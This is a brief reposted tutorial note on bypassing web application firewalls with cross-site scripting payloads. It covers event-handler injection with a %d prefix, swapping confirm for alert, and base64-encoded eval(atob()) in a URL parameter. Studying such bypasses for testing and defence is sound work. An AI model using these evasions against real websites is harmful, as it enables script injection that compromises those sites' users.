Xss bypass waf note

Source: Internet
Author: User

Instance 1,

WAF Filter: ”onmouseover”<input type=text name=firstname value=”Anna” onmouseover=alert(‘XSS within input field’) “>ByPass:    %d<input type=text name=firstname value=”Anna”%donmouseover=alert(‘XSS within input field’) “>

 

Instance 2, WAF detects alert, because many automatic detection tools use this statement to test XSS
“ onmouseover=alert(‘XSS within input field’)or<input type=text name=firstname value=”Anna” onmouseover=alert(‘XSS within input field’) “>WAF keyword Filter:alert (some test tools use 'alert')

 

Bypass: 1, use confirm as the payload instead of "alert" instance 3,
Encode to byPass Filter :“eval(atob(“encryptedcontent”))”/*“Y29uZmlybSgxKTs=” is base 64 encoded “confirm(1);”*/URL:http://somesite.com/search?searchterm=%27);eval(atob(“Y29uZmlybSgxKTs=”));//Source:<script>...var foo = escape(‘’);eval(atob(“Y29uZmlybSgxKTs=”));//’);...</script>

 

Reference: http://www.netspi.com

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.